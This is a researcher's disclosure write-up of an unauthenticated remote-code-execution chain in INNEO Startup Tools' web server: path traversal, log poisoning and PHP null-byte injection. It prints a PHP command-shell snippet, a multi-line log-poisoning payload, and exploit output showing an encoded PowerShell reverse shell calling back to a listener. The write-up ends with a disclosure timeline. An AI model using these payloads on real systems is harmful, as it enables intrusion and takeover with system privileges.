INNEO Startup Tools

The manufacturer describes the product as follows (Link to vendor product page):

“For years, Startup TOOLS has guaranteed efficient utilisation of PTCs product development environment. The success of Startup TOOLS throughout the world is based on the combination of add-on-functionality for the users, configuration and administration assistance and a comfortable graphical user interface. With Startup TOOLS, you can not only design faster and more efficiently but also consistently throughout your company.”

So basically it is a software to interact with other CAD software.

The Vulnerability

Due to improper input validation, the web server provided is vulnerable to path traversal attacks which can be eventually leveraged to obtain remote code execution on the target.

The application will serve a web application on TCP port 85 after installing the product which will include user input into a file system access without any further validation.

insomnia request
Get request in insomnia showing the vulnerability

Making a Remote Code Execution out of this

This section will describe how I leveraged the path traversal vulnerability to execute arbitrary code on the target system.

Testing for execution possibilities

When browsing through the folder where the software gets installed I was discovering a php folder which left me guessing the web server will execute php files.

php folder
php folder within folder tree

Therefore I wrote a php command shell to the disk with the following content:

     echo "<pre>";
     $cmd = ($_REQUEST['cmd']);
     echo "</pre>";

Afterwards I was able to run system commands on the target server.

cmd shell dir
Output of the command ‘dir c:'
cmd shell whoami
Output of the command ‘whoami’

As you can see the service is running as ’nt-authority\system’. So if I would be able to get a code execution up and running not only will I control the target server, but I will be elevated to the highest system privileges as well. So I was curious to see if it would be possible. As I wrote the cmd.php to the server by logging in to it and opening a text editor it was clear that this will not be the solution for a remote attacker.

Log Poisoning

Log Poisoning was the first thing which came to my mind when thinking of a way to actually “write” data to my target server. So I further investigated the folder tree in the installation directory and finally found a folder called “LOG”. You might have guessed by now that this folder will contain log files.

log folder
Folder with logs and hostname in log file

As you can see from the image above there are logs. The name of the log file we can control is composed this way: sut_server_<hostname>.log. Fortunately there is also a log called sut_server.log in which the hostname will be logged when installing the software. So for a remote attacker it is possible to just fetch the hostname from that file and compose the name of the controlled log file afterwards.

Writing to log file - the multiline way

As I was testing the possibilities to actually write to that logfile I discovered, that I cannot just write one long line to the file. When reaching about 200 characters the command will just not be executed anymore. So I had to think of a way to insert my payload in mutliple lines without breaking the php code.

When doing this you want to aim for multi-line comments. PHP does it this way:

    echo 'This is a test'; // This is a one line comment
    /* This is a multi-line comment
       And this is the second line of the comment */
    echo 'This is yet another test';

When trying to implement a payload with this method I figured that the web server will handle the \ character and just reverse it to / which will in fact break the php code injected to the log.

So I had to find a way around this oddity and came up with this solution:

1. <?php $cmd=''; $foo= '
some output
2. n'; $cmd.="part1"; $foo='
some output
3. n'; $cmd.="part2"; $foo='
some output
4. n'; system($cmd); ?>

This will then result in this entries (taken from the actual log file):

... ommited multiline entries for readability ...
29.09.2020 14:28:55: 991905b: Document not found: "C:\<?php $cmd=''; $foo= '
... ommited multiline entries for readability ...
29.09.2020 14:29:32: 991905b: Document not found: "C:\n'; $cmd.="part1"; $foo='"
... ommited multiline entries for readability ...
29.09.2020 14:29:52: 991905b: Document not found: "C:\n'; $cmd.="part2"; $foo='"
... ommited multiline entries for readability ...
29.09.2020 14:30:08: 991905b: Document not found: "C:\n'; system($cmd); ?>"

As you might see all the unwanted content goes to a variable called foo which never will be used. To escape the backslash of C:\ written to the logfile automatically I did use a single n. Therefore the combination \n will be interpreted as newline by the parser later on.


As a Proof-of-Concept I used this payload to test the functionality:

1. <php $cmd="whoami"; $foo='
2. n'; system($cmd); ?>

So after checking the log file got poisoned correctly It was just a matter of one get request to call my precious RCE, right?

Wrong! The webserver will deliver the log with the content type application/octet-stream and therefore it will not get executed as php. So I was devestated at first. All my hard work for nothing?

The knight in shining armor

I was then researching ways to get my poisoning executed eventually, when I discovered this:

old php
The php version used is very old

The version of PHP used here (5.2.13) suffers from a null-byte injection vulnerability. In general you call the url and terminate it using \0 and then append another file extension. This would look like this:\0.php

Lets transfer this technique to our vulnerable webserver:

With null-byte injection php code will execute

There you have it. Coming from a path traversal, using log poisoning and finally leverage a null-byte injection vulnerability you will have an unauthenticated Remote Code Execution as nt-authority\system.

Automated Exploitation

I then wrote several exploits to gain a reverse shell. I do like my go exploit the most. You can find it in the links below. Here is the output of the exploit:

❯ go run syss-2020-028.go 4444
[*] Attacking target with assumed install path PROGRA~2/stools
[*] Trying to read 'sut_server.log' to receive hostname of target at
[+] Hostname of target is: kingfisher
[*] Poisoning Log with payload
[*] Poisoned: %3C%3Fphp%20$cmd%3D%27%27%3B%20$foo%3D%27
[*] Poisoned: n%27%3B%20$cmd.%3D%27powershell.exe%20-exec%20bypass%20-EncodedCommand%20JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAF%27%3B%20$foo%3D%27
[*] Poisoned: n%27%3B%20$cmd.%3D%27JABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA%3D%3D%27%3B%20$foo%3D%27
[*] Poisoned: n%27%3B%20system%28$cmd%29%3B%20die%3B%20%3F%3E
[*] Starting reverse listener at
[*] Triggering inclusion of\0.php
[+] Now listening on
[+] []: Connection has been opened. Press 'RETURN' once to start. Enjoy your shell, good sir.

PS C:\Program Files (x86)\stools\software\LOG> whoami
PS C:\Program Files (x86)\stools\software\LOG>


As a developer of software you should never trust input provided by a user. Be sure to strictly escape the input provided. Also be sure to use current components and patch everything you use like frameworks and libraries.

As a user of the software Startup TOOLS you should upgrade to the next higher major version.

Disclosure Timeline

  • 2020-06-24: Vulnerability discovered
  • 2020-07-01: Vulnerability reported to manufacturer
  • 2020-07-15: Manufacturer provided solution
  • 2020-07-23: Public disclosure of vulnerability

References and Links